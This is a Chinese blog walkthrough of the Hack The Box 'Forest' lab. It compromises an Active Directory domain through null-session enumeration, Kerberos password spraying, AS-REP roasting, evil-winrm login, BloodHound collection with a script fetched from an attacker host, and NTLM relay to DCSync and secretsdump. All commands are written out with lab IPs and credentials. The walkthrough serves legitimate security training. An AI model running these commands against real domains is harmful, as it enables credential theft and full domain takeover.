• 【Hack The Box】windows练习-- forest


    HTB 学习笔记

    Hack The Box】windows练习-- forest


    🔥系列专栏:Hack The Box
    🎉欢迎关注🔎点赞👍收藏⭐️留言📝
    📆首发时间:🌴2022年11月3日🌴
    🍭作者水平很有限,如果发现错误,还望告知,感谢!

    在这里插入图片描述

    信息收集

    在这里插入图片描述出现了几个之前没有遇到过的端口389,5985
    我将这两个端口的信息放在下面了

        Kerberos (88/TCP) — Windows Kerberos 协议服务。
        LDAP (389/TCP) — 活动目录 LDAP。 LDAP 通常提供有关 AD 的详细信息。 而如果允许匿名绑定,我们可以查询到很多好的AD信息,比如用户信息。
        SMB (445/TCP) — Windows 服务器消息块 (“SMB”) 协议。 对于 SMB,最好检查它是否允许空会话。 如果允许,例如 LDAP,我们可以枚举许多有用的 AD 信息。
        WinRM (5985/TCP) — WS-Management 协议的 Microsoft 实现。 这可以允许通过 PowerShell 进行远程连接。
        这意味着如果我可以获得用户的登陆凭据,我就可以获得一个shell,借助winrm工具实现 
    
    • 1
    • 2
    • 3
    • 4
    • 5

    rpc枚举

    这个也可以枚举出所有用户,因为同样存在空绑定

    rpcclient -U “” -N [IP]
    
    • 1

    在这里插入图片描述

    smb枚举

    如下即可,存在空绑定(匿名登陆)在这里插入图片描述
    首先smp枚举一下,发现可以匿名访问,而如果可以匿名访问,那就可以利用smb枚举用户

    enum4linux -v 10.10.10.161
    或者单独枚举用户:
    enum4linux -U 10.10.10.161
    
    • 1
    • 2
    • 3

    ldap枚举

    在我们遇到idap的情况下,基本上利用如下几步进行枚举

    ldapsearch -H ldap://10.10.10.161 -x -s base '' "(objectClass=*)" "*" +     可以枚举出一些域信息,构成第二部的dc参数
    ldapsearch -H ldap://10.10.10.161 -x -b DC=htb,DC=local 
    ldapsearch -H ldap://10.10.10.161 -x -b DC=htb,DC=local "(objectClass=person)" |   grep "sAMAccountName:" 
    最后一步枚举用户
    
    • 1
    • 2
    • 3
    • 4

    在这里插入图片描述
    在这里插入图片描述

    在这里插入图片描述
    接下来,我们可以使用一个非常方便的 Kerberos 密码猜测工具,称为 kerbrute. 当进行内部渗透测试时,基于 Kerberos 的密码猜测优先于 LDAP 或 SMB 等其他密码猜测。 有几个原因,但最大的原因是:

    1. 并非所有环境监控器都能检测到 Kerberos 身份验证失败;
    2. 基于 Kerberos 的身份验证比其他的要快得多;
      3)当登录失败时,它往往会给我们一些冗长的错误 。

    在使用密码列表进行全面的密码猜测之前,我使用详细选项测试了该工具。 它最终发现了一个不需要预身份验证的用户(= svc-alfresco)。
    而这种攻击方法,叫做 AS-REP Roasting攻击

    AS-REP Roasting攻击

    这是一种不用先拿域内用户的情况

    1. 检查,或者也可以不检查,把所有的用户都跑一遍算求
    ./kerbrute passwordspray -d htb.local --dc 10.10.10.161 user.txt 'password123' -v    随便用个密码,看看回显示
    例如:
    2. 收集hash
    ./GetNPUsers.py htb.local/svc-alfresco -no-pass -dc-ip 10.10.10.161
    3. 破解
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    在这里插入图片描述

    在这里插入图片描述
    在这里插入图片描述也可以直接跑所有用户,都行,结果一样,如下图
    在这里插入图片描述事实上,ldap ,rpc,smb这几个服务任何一种能够空绑定的话,我们都可以直接收集hash,但是思路不就是玩出来的么。
    下面这一步没啥必要,玩玩而已,就是简单的验证这个密码可以在哪里使用
    在这里插入图片描述

    winrm登陆

    ruby evil-winrm.rb -i 10.129.9.147 -u svc-alfresco -p s3rvice
    利用这个shell下载东西可以直接用download
    也可以wget
    
    • 1
    • 2
    • 3

    Bloodhound枚举

    1. 上传ps1脚本
    wget http://10.10.14.13/SharpHound.ps1 -o SharpHound.ps1
    2. 加载模块
    Import-Module .\SharpHound.ps1
    3. 运行,生成一个zip
    invoke-bloodhound -collectionmethod all -domain htb.local -ldapuser svc-alfresco -ldappass s3rvice
    4. 下载下来(或者用分享回传方法)
    download
    5. neo4j console
    6. bloodhound
    7. 把压缩包拖进去即可
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    在这里插入图片描述
    而后访问本地7474端口
    在这里插入图片描述用户密码初始都是neo4j
    但是登陆之后要改密码
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    因为我的用户在 Service Account 中,所以我们可以创建一个用户去EXCHANGE WINDO ,这个组内的用户可以实现DCSync,也就是普通用户也能枚举到所有hash。

    利用DCSync权限更改

    Domain Admins组内的用户
    Enterprise Admins组内的用户
    这两个组的用户可以更改acl,所以可以造成DCSync,我们可以手动更改,但我没有实验,我们这里可以利用自动化工具

    借助以下方法实现ntml中继(来实现DCSync攻击)
    ntlmrelayx.py -t ldap://10.10.10.161 --escalate-user bigb0ss     ---创建中继,当访问smb,http等方式访问时会自动检验能否修改acl,如果能,那就自动修改了
    访问方法如下
    psexec.py htb.local/bigb0ss:bigb0ss@10.10.14.39    smb登陆,或者直接访问127也行
    然后就可以枚举了
    secretsdump.py htb.local/bigb0ss:bigb0ss@10.10.10.161 -just-dc-user administrator
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

  • 相关阅读:
    搞个微信小程序001
    力扣 146. LRU 缓存
    Vue收集表单数据
    IntelliJ IDEA使用——常用快捷键(Windows版)
    未来十年世界数字化与机器智能展望
    布隆过滤器是否好用,得看哈希函数写成啥样
    文本预处理库spaCy的基本使用(快速入门)
    RAG 高级应用:基于 Nougat、HTML 转换与 GPT-4o 解析复杂 PDF 内嵌表格
    2023阿里云双十一到底有没有活动?去年就没有
    【Autopsy数字取证篇】Autopsy案例更改时区
  • 原文地址:https://blog.csdn.net/weixin_65527369/article/details/127665743